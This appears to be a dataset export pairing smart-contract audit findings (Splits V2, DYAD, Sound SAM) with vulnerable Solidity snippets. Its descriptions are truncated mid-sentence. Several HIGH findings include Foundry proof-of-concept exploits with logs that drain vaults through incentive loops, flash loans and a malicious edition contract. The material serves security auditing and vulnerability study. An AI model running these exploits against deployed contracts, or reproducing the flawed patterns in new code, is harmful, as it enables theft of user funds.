Farseen0/scar-pairs huggingface dataset:
LOW severity: TRST-The owner can grant anyone the whitelistedStrategy role to transfer the tokens of approved users. **Description:**
The owner of an AccessController contract can grant any role to anyone, and the 
**whitelistedStrategy** role can call `StrategyGateway.transferToken()` to transfer the approved 
user's tokens.
A more transparent mechanism for granting user roles should be used.

Vulnerable code:
function transmitToken(
            address _token,
             address _from,
                address _to,
             uint _amount
         ) external onlyAuthorized(keccak256('whitelistedStrategy')) {
        IERC20(_token).safeTransferFrom(_from, _to, _amount);
        }
HIGH severity: If any Splits Wallet sets up incentives on Warehouse, all funds can be stolen. There are two forms of incentives that can be added for distributions. On the `SplitsWarehouse`, incentives are added to the WithdrawConfig, and on the `SplitsWalletV2`, incentives are baked into the Split struct.

In the event that a Splits Wallet sets up any incentives on the Warehouse (and has...

Vulnerable code:
function testZach_IncentiveDrain() public {
    // set up an initial split, note that the parameters (including incentives) don't matter
    SplitReceiver[] memory _receivers = new SplitReceiver[](2);
    _receivers[0] = SplitReceiver({ receiver: address(1), allocation: 100 });
    _receivers[1] = SplitReceiver({ receiver: address(2), allocation: 100 });
    uint16 _distributionIncentive = 0;
    bool _distributeByPush = true;
    SplitV2Lib.Split memory split = createSplitParams(_receivers, _distributionIncentive, _distributeByPush);
    address token = address(usdc);
    wallet.initialize(split, ALICE.addr);

    // ensure that an incentive is set on the Warehouse (we set at 1%, but can be any value)
    vm.prank(address(wallet));
    SplitsWarehouse.WithdrawConfig memory _config = SplitsWarehouse.WithdrawConfig({
        incentive: 1e4,
        paused: false
    });
    warehouse.setWithdrawConfig(_config);

    // deal the split $1mm to start
    dealSplit(address(wallet), token, 0, 1_000_000e6);

    // begin the attack
    address attacker = makeAddr("attacker");
    vm.startPrank(attacker);

    address[] memory _tokens = new address[](1);
    _tokens[0] = token;
    uint[] memory _amounts = new uint[](1);
    uint amountInWallet;

    // perform 2000 cycles of withdrawing (for an incentive) and redepositing, earning 1% each time
    for (uint i; i < 2000; i++) {
        (, _amounts[0]) = wallet.getSplitBalance(token);
        warehouse.withdraw(address(wallet), _tokens, _amounts, attacker);
        (amountInWallet,) = wallet.getSplitBalance(token);
        wallet.depositToWarehouse(token, amountInWallet);
    }

    // confirm that 99.9999% of the funds have been stolen
    (splitBal, warehouseBal) = wallet.getSplitBalance(token);
    assertGt(IERC20(token).balanceOf(attacker), 999_999e6);
    assertEq(splitBal, 0);
    assertLt(warehouseBal, 1e6);
}
HIGH severity: Split ownership can be spoofed using `execCalls()`. Because the `onlyOwner` modifier allows calls from `address(this)`, we are able to call `transferOwnership()` from the `execCalls()` function.

Notably, once an `execCalls()` transaction has been started and the modifier has been passed, it can continue to call any `onlyOwner` functions (including.....

Vulnerable code:
function registerSplit(SplitV2Lib.Split memory _splitParams, SplitWalletV2 _split) external {
    // require that the split params give this contract at least half of allocations
    require(_splitParams.recipients[0] == address(this);
    require(_splitParams.allocations[0] >= _splitParams.totalAllocation / 2);

    // require that these split params are really on the split
    require(_split.splitHash() == _splitParams.getHash());

    // require that the split is immutable so these values are locked
    require(_split.owner() == address(0));

    // go ahead with registering the split as valid
    ...
}
MEDIUM severity: Splits with too many recipients can lead to locked funds. When calling `distribute()` for a given Wallet, it is required to send assets to all recipients. In the event that a Split is initialized with too many recipients, the gas cost of such a transaction can get so high that it will not fit within the block gas limit. In such a case, all funds will be...

Vulnerable code:
function testZach_distributeGas() public {
    uint lengthToTest = 1100;
    bool _distributeByPush = true;

    address[] memory _receivers = new address[](lengthToTest);
    uint[] memory _amounts = new uint[](lengthToTest);
    for (uint i; i < lengthToTest; i++) {
        _receivers[i] = address(uint160(i + 1));
        _amounts[i] = 100;
    }

    SplitV2Lib.Split memory split = SplitV2Lib.Split({
        recipients: _receivers,
        allocations: _amounts,
        totalAllocation: 100 * lengthToTest,
        distributionIncentive: 0,
        distributeByPush: _distributeByPush
    });
    address token = address(usdc);

    wallet.initialize(split, ALICE.addr);
    dealSplit(address(wallet), token, 1e18, 9);

    uint gasBefore = gasleft();
    wallet.distribute(split, token, ALICE.addr);
    uint gasAfter = gasleft();

    assertGt(gasBefore - gasleft(), 30_000_000);
}

function validate(Split calldata _split) internal pure {
    uint256 numOfRecipients = _split.recipients.length;
+   if (numOfRecipients > 250) revert InvalidSplit_TooManyRecipients();
    if (_split.allocations.length != numOfRecipients) {
        revert InvalidSplit_LengthMismatch();
    }

    uint256 totalAllocation;
    for (uint256 i; i < numOfRecipients; ++i) {
        totalAllocation += _split.allocations[i];
    }

    if (totalAllocation != _split.totalAllocation) revert InvalidSplit_TotalAllocationMismatch();
}
MEDIUM severity: Rounding issues could allow majority shareholders to steal funds. When distributions are calculated (using either push or pull), the `_split.calculateAllocatedAmount()` function is used to determine the amount.

In the situation where one user holds a majority position in a Split, and the decimals of the token being distributed are very low, it is possible that...

Vulnerable code:
allocatedAmount = _amount * _split.allocations[_index] / _split.totalAllocation;

function testZach_distributeMajorityTheft() public {
    // set up a split with 101 receivers, a 90% majority and one hundred 0.1% minorities
    address[] memory _receivers = new address[](101);
    uint[] memory _amounts = new uint[](101);

    _receivers[0] = makeAddr("majority");
    _amounts[0] = 900;

    for (uint i = 1; i < 101; i++) {
        _receivers[i] = address(uint160(i));
        _amounts[i] = 1;
    }

    SplitV2Lib.Split memory split = SplitV2Lib.Split({
        recipients: _receivers,
        allocations: _amounts,
        totalAllocation: 1000,
        distributionIncentive: 0,
        distributeByPush: true
    });
    wallet.initialize(split, address(0));

    // start the split off with $1000 of GUSD (1000_00)
    GUSD gusd = new GUSD();
    deal(address(gusd), address(wallet), 1000 * 10 ** gusd.decimals());
    assertEq(gusd.balanceOf(address(wallet)), 1000_00);

    // distribute GUSD in chunks of $9.99, which will only send funds to the majority
    for (uint i; i < 111; i++) {
        wallet.distribute(split, address(gusd), 9_99, 0, address(0));
    }

    // most GUSD is with the majority shareholder; the rest is in the wallet; minority partners have none
    assertEq(gusd.balanceOf(_receivers[0]), 997_89);
    assertEq(gusd.balanceOf(address(wallet)), 2_11);
}
LOW severity: Allocation size is unbounded, which can cause overflow revert in `getDistributions()`. A new feature in Splits V2 is that, rather than allocations being required to total a given `totalAllocation` amount, the `totalAllocation` amount is inferred from the `allocations`.

The `allocations` for a given split are `uint256`s, and there is no upper bound imposed on their size.

As a...

Vulnerable code:
function calculateAllocatedAmount(
    Split calldata _split,
    uint256 _amount,
    uint256 _index
)
    internal
    pure
    returns (uint256 allocatedAmount)
{
    allocatedAmount = _amount * _split.allocations[_index] / _split.totalAllocation;
}

function test_GetDistributionOverflow() external {
    address[] memory recipients = new address[](1);
    recipients[0] = address(1);
    uint[] memory allocations = new uint[](1);
    allocations[0] = type(uint200).max;

    SplitV2Lib.Split memory split = SplitV2Lib.Split(recipients, allocations, allocations[0], 0, false);
    (uint256[] memory amounts, uint256 distributorReward) = SplitV2Lib.getDistributionsMem(split, 1e18);
}

[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] test_GetDistributionOverflow() (gas: 1330)
LOW severity: Precise pull distributions can be DOS'd with front running attack. Funds can be distributed in four ways: pushed with a full balance, pushed with a precise balance, pulled with a full balance, and pulled with a precise balance. This issue concerns only the fourth option, when funds are intended to be sent to the Warehouse to be pulled by users at a later...

Vulnerable code:
function distribute(
    SplitV2Lib.Split calldata _split,
    address _token,
    uint256 _distributeAmount,
    uint256 _warehouseTransferAmount,
    address _distributor
)
    external
    pausable
{
    if (splitHash != _split.getHash()) revert InvalidSplit();

    if (_split.distributeByPush) {
        // snip
    } else {
        if (_warehouseTransferAmount != 0) depositToWarehouse(_token, _warehouseTransferAmount);
        pullDistribute({ _split: _split, _token: _token, _amount: _distributeAmount, _distributor: _distributor });
    }
}

function depositToWarehouse(address _token, uint256 _amount) public {
    if (_token == NATIVE_TOKEN) {
        SPLITS_WAREHOUSE.deposit{ value: _amount }({ owner: address(this), token: _token, amount: _amount });
    } else {
        try SPLITS_WAREHOUSE.deposit({ owner: address(this), token: _token, amount: _amount }) { }
        catch {
            IERC20(_token).approve({ spender: address(SPLITS_WAREHOUSE), amount: type(uint256).max });
            SPLITS_WAREHOUSE.deposit({ owner: address(this), token: _token, amount: _amount });
        }
    }
}

function withdrawFromWarehouse(address _token) public {
    SPLITS_WAREHOUSE.withdraw(address(this), _token);
}
LOW severity: OwnershipTransferred event emits incorrect data when called via `execCalls()`. When `transferOwnership()` is called, it emits the `OwnershipTransferred` event, which includes the old and new owners:

It is assumed that, because the function is guarded by the `onlyOwner` modifier, the old owner can be inferred from `msg.sender`.

However, if we look at the modifier, we can...

Vulnerable code:
function transferOwnership(address _owner) public virtual onlyOwner {
    owner = _owner;
    emit OwnershipTransferred({ oldOwner: msg.sender, newOwner: _owner });
}

modifier onlyOwner() virtual {
    if (msg.sender != owner && msg.sender != address(this)) revert Unauthorized();
    _;
}

function test_execCalls_transferOwnershipWrongEventData() public {
    Wallet.Call memory call = Wallet.Call({
        to: address(wallet),
        value: 0,
        data: abi.encodeWithSelector(Ownable.transferOwnership.selector, BOB.addr)
    });

    Wallet.Call[] memory calls = new Wallet.Call[](1);
    calls[0] = call;

    vm.expectEmit();
    emit OwnershipTransferred(address(wallet), BOB.addr);
    vm.prank(wallet.owner());
    wallet.execCalls{ value: 0 }(calls);
}
HIGH severity: User can steal vault funds by sequencing deposit, rebase, and redeem. When a user deposits into the protocol, their msg.value is converted into a number of shares in two steps:

- \_eth2dyad() calculates the USD value of the ETH, based on the current oracle.
- \_deposit2Shares() calculates the number of shares they should receive for that USD value.

The issue lies...

Vulnerable code:
function test_CanLiquidateProtocolOnEthMove() public {
    uint id1 = dNft.mint{value: 100 ether}(address(this));

    address attacker = makeAddr("attacker");
    vm.deal(attacker, 5 ether);
    console.log("dNFT Vault Starting Balance: ", address(dNft).balance);
    console.log("Attacker Starting Balance: ", attacker.balance);
    vm.prank(attacker);
    uint id2 = dNft.mint{value: 5 ether}(attacker);

    oracleMock.setPrice(1100e8); // 10% increase

    // Borrow a flash loan and being the attack...
    vm.deal(attacker, 1_000_000 ether);
    vm.startPrank(attacker);
    dNft.deposit{value: 1_000_000 ether}(id2);

    // Rebase to adjust totalDeposit up, even though we already bought at the higher value.
    dNft.rebase();

    // Now redeem the full value of the vault (not all of our assets, because it would revert).
    dNft.redeemDeposit(id2, attacker, address(dNft).balance * 1100);

    // Return the flash loan...
    payable(address(0)).transfer(1_000_000 ether);

    console.log("dNFT Vault Ending Balance: ", address(dNft).balance);
    console.log("Attacker Ending Balance: ", attacker.balance);
  }

Logs:
  dNFT Vault Starting Balance:  100000000000000000000
  Attacker Starting Balance:  5000000000000000000
  dNFT Vault Ending Balance:  0
  Attacker Ending Balance:  105000000000000000000
HIGH severity: Can steal all dNFTs and funds from contract by flash loaning deposits & liquidations. When liquidate() is called for a given dNFT ID, there are two requirements:

- The current shares of that ID must be less than 0.1% of the total shares in the pool
- The shares after the liquidator's funds are deposited must by greater than 0.1% of the total shares in the pool

This can be...

Vulnerable code:
function test_CanLiquidateAnyone() public {
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 6000 ether);
    address victim = makeAddr("victim");
    vm.deal(victim, 1000 ether);

    vm.prank(attacker);
    uint id1 = dNft.mint{value: 5 ether}(attacker);

    vm.prank(victim);
    uint id2 = dNft.mint{value: 5 ether}(victim);

    vm.startPrank(attacker);
    dNft.deposit{value: 5000 ether}(id1);
    dNft.liquidate{value: 1 ether}(id2, attacker);
    dNft.redeemDeposit(id1, attacker, 5000 ether);

    assertEq(dNft.ownerOf(id2), attacker);
}
HIGH severity: If insider deposits and unlocks in quick succession, attacker can steal their NFT and their deposit funds. The dNFT contract allows the owner to mint a predefined quantity of "insider" NFTs without any deposit attached to them. These NFTs begin in a locked state, which stops them from being immediately liquidated due to their lack of deposits.

The protocol enforces that, in order for insider's to mint.....

Vulnerable code:
function unlock(uint id)
external
    isNftOwner(id)
{
    if (!id2Locked[id]) revert NotLocked();
    if (id2Shared[id] == 0) revert MustDepositFirst();
    id2Locked[id] = false;
    emit Unlocked(id);
}
HIGH severity: Collateralization ratio can be broken by users redeeming deposits for ETH. A key property of the DYAD system is that the collateralization ratio (300%) is maintained. This means that for every 1 DYAD in circulation, there is 3x as much ETH (priced in USD) in the vault.

This invariant is enforced in the withdraw() function, which stops users from minting more DYAD when...

Vulnerable code:
function withdraw(uint from, address to, uint amount) external
    isNftOwnerOrHasPermission(from, Permission.WITHDRAW)
    isUnlocked(from)
{
    _subDeposit(from, amount);

    uint collatVault    = address(this).balance * _getEthPrice()/1e8;
    uint newCollatRatio = collatVault.divWadDown(dyad.totalSupply() + amount);
    if (newCollatRatio < MIN_COLLATERIZATION_RATIO) { revert CrTooLow(); }
    ...
}

function test_CollateralizationRatioBrokenOnRedeemDeposit() public {
    // We deposit 5000 in totalDeposit and mint 1000 of them. Ratio is $5000 of ETH / 1000 supply.
    uint id1 = dNft.mint{value: 5 ether}(address(this));
    dNft.withdraw(id1, address(this), 1000e18);
    console.log(_calculateCollateralizationRatio()); // returns 5e18 - success

    // We can now withdraw all the remaining ETH with no check.
    dNft.redeemDeposit(id1, address(1), 4000e18);
    console.log(_calculateCollateralizationRatio()); // returns 1e18 - uh oh
}

function _calculateCollateralizationRatio() internal returns(uint) {
    uint ETH_PRICE = 1000 * 1e8;
    uint MIN_COLLATERIZATION_RATIO = 3e18;
    uint collatVault = address(dNft).balance * ETH_PRICE/1e8;
    uint newCollatRatio = FixedPointMathLib.divWadDown(collatVault, dyad.totalSupply());
    return newCollatRatio;
}

modifier collateralizationCheck(uint _amountMinted, uint _amountRedeemed) {
    uint collatVault = (address(this).balance - _dyad2eth(_amountRedeemed)) * _getEthPrice() / 1e8;
    if (dyad.totalSupply() > 0) {
        uint newCollatRatio = collatVault.divWadDown(dyad.totalSupply() + _amountMinted);
        if (newCollatRatio < MIN_COLLATERIZATION_RATIO) { revert CrTooLow(); }
    }
    _;
}
MEDIUM severity: Check for stale data before trusting Chainlink's response. Much of the math in the protocol is based on the data provided by Chainlink's ETH-USD feed.

According to [Chainlink's documentation](https://docs.chain.link/data-feeds/price-feeds/historical-data), it is important to provide additional checks that the data is fresh:

- If answeredInRound is less...

Vulnerable code:
function _getEthPrice() public view returns (uint) {
   (uint80 roundID, int256 price,, uint256 timeStamp, uint80 answeredInRound) = oracle.latestRoundData();
   require(timeStamp != 0);
   require(answeredInRound >= roundID);
   return price.toUint256();
}
LOW severity: Missing checks for sending assets to non existent dNFTs. There are two places in the code where the user inputs the id of the dNFT they would like to send assets to.

- In deposit(), the user sends msg.value directly to the dNFT
- In move(), the user sends their own shares to another dNFT

In both cases, there are no checks to ensure that the receiving...

Vulnerable code:
function test_CanDepositToNonExistantId() public {
    dNft.deposit{value: 5000 ether}(987654321);
}

function deposit(uint id) external payable returns (uint) {
    require(id < totalSupply(), "dNFT does not exist");
    return _deposit(id);
 }
HIGH severity: All funds can be stolen from the SAM contract. The `create()` function doesn't validate that new editions added to the SAM contracts are, in fact, editions.

A malicious contract can be added that always passes the `onlyEditionOwnerOrAdmin` and `onlyBeforeMintConcluded` checks, which allows the exploiter to set all parameters at any time.

A...

Vulnerable code:
pragma solidity ^0.8.16;

import { SAM } from "@modules/SAM.sol";
import "forge-std/Test.sol";

contract EvilEdition {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function mintConcluded() public view returns (bool) {
        return false;
    }

    function samMint(address to, uint quantity) public returns (uint) {
        return 1;
    }

    function samBurn(address from, uint[] memory tokenIds) public {}
}

contract SAMTests is Test {
    SAM sam;
    EvilEdition edition;
    address exploiter = makeAddr("exploiter");

    function testZach__BigEvilExploit() public {
        vm.startPrank(exploiter);
        vm.deal(exploiter, 1);

        sam = new SAM();
        edition = new EvilEdition();
        vm.deal(address(sam), 1000 ether);
        console.log("Starting Exploiter Balance:", exploiter.balance);
        console.log("Starting SAM Balance:", address(sam).balance);

        sam.create(
            address(edition),
            0, // base
            1, // infl price
            type(uint32).max, // infl point
            1000, 0, 0 // artist, golden egg, affiliate
        );

        bytes32[] memory affProof = new bytes32[](0);
        sam.buy{value: 1}(
            address(edition),
            exploiter,
            1,
            address(0),
            affProof
        );

        sam.setInflectionPrice(address(edition), 500 ether);
        sam.setInflectionPoint(address(edition), 1);

        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = 1;
        sam.sell(
            address(edition),
            tokenIds,
            1 ether,
            exploiter
        );

        console.log("Ending Exploiter Balance:", exploiter.balance);
        console.log("Ending SAM Balance:", address(sam).balance);

    }
}

Logs:
    Starting Exploiter Balance: 1
    Starting SAM Balance: 1000000000000000000000
    Ending Exploiter Balance: 1000000000000000000001
    Ending SAM Balance: 0
HIGH severity: Golden Egg will continue to change throughout SAM. When a fixed price sale ends and a SAM begins, the Golden Egg is supposed to be locked. The winner of the Golden Egg is confirmed, and this user is paid a percentage of all sales from the bonding curve.

In order to determine who to send these fees to, SAM.sol calls `goldenEggFeeRecipient()`,...

Vulnerable code:
function getGoldenEggTokenId(address edition) public view returns (uint256 tokenId) {
    uint256 editionMaxMintable = ISoundEditionV1_1(edition).editionMaxMintable();
    uint256 mintRandomness = ISoundEditionV1_1(edition).mintRandomness();

    // If the `mintRandomness` is zero, it means that it has not been revealed,
    // and the `tokenId` should be zero, which is non-existent for our editions,
    // which token IDs start from 1.
    if (mintRandomness != 0) {
        // Calculate number between 1 and `editionMaxMintable`.
        // `mintRandomness` is set during `edition.mint()`.
        tokenId = (mintRandomness % editionMaxMintable) + 1;
    }
}

function editionMaxMintable() public view returns (uint32) {
    if (block.timestamp < editionCutoffTime) {
        return editionMaxMintableUpper;
    } else {
        return uint32(FixedPointMathLib.clamp(_totalMinted(), editionMaxMintableLower, editionMaxMintableUpper));
    }
}

function _totalMinted() internal view virtual returns (uint256) {
    // Counter underflow is impossible as `_currentIndex` does not decrement,
    // and it is initialized to `_startTokenId()`.
    unchecked {
        return ERC721AStorage.layout()._currentIndex - _startTokenId();
    }
}
MEDIUM severity: Edition owner can rug by inflating token quantity after mint begins. It appears that the intention is that, once an edition has begun minting, the maximum quantity cannot be increased. As we can see in the `setEditionMaxMintableRange()` function:

This restricts edition owners so that they cannot increase `editionMaxMintableUpper` once any tokens have been minted....

Vulnerable code:
if (currentTotalMinted != 0) {
    editionMaxMintableLower_ = uint32(FixedPointMathLib.max(editionMaxMintableLower_, currentTotalMinted));

    editionMaxMintableUpper_ = uint32(FixedPointMathLib.max(editionMaxMintableUpper_, currentTotalMinted));

    // If the upper bound is larger than the current stored value, revert.
    if (editionMaxMintableUpper_ > editionMaxMintableUpper) revert InvalidEditionMaxMintableRange();
}
MEDIUM severity: Artist can set GoldenEggFee to zero, rugging winner. The `SAM::setGoldenEggFee()` function can be called by the edition owner at any time:

The protocol makes a great effort to ensure that, once a user wins the Golden Egg, it cannot be stripped from them. However, this feature would allow an artist to turn off the Golden Egg prize at any...

Vulnerable code:
function setGoldenEggFee(address edition, uint16 bps) public onlyEditionOwnerOrAdmin(edition) {
    SAMData storage data = _getSAMData(edition);
    if (bps > MAX_GOLDEN_EGG_FEE_BPS) revert InvalidGoldenEggFeeBPS();
    data.goldenEggFeeBPS = bps;
    emit GoldenEggFeeSet(edition, bps);
}
LOW severity: mintRandomness() function does not use all intended randomness. When we call `mintRandomness()` to calculate the value, we perform the following assembly block:

The rationale for adding the address is to create more entropy across different SoundEditions, but the `address()` is not included in the value that is ultimately...

Vulnerable code:
assembly {
    mstore(0x00, result)
    mstore(0x20, address())
    result := keccak256(0x00, 0x20)
}

assembly {
    mstore(0x00, result)
    mstore(0x20, address())
-   result := keccak256(0x00, 0x20)
+   result := keccak256(0x00, 0x40)
}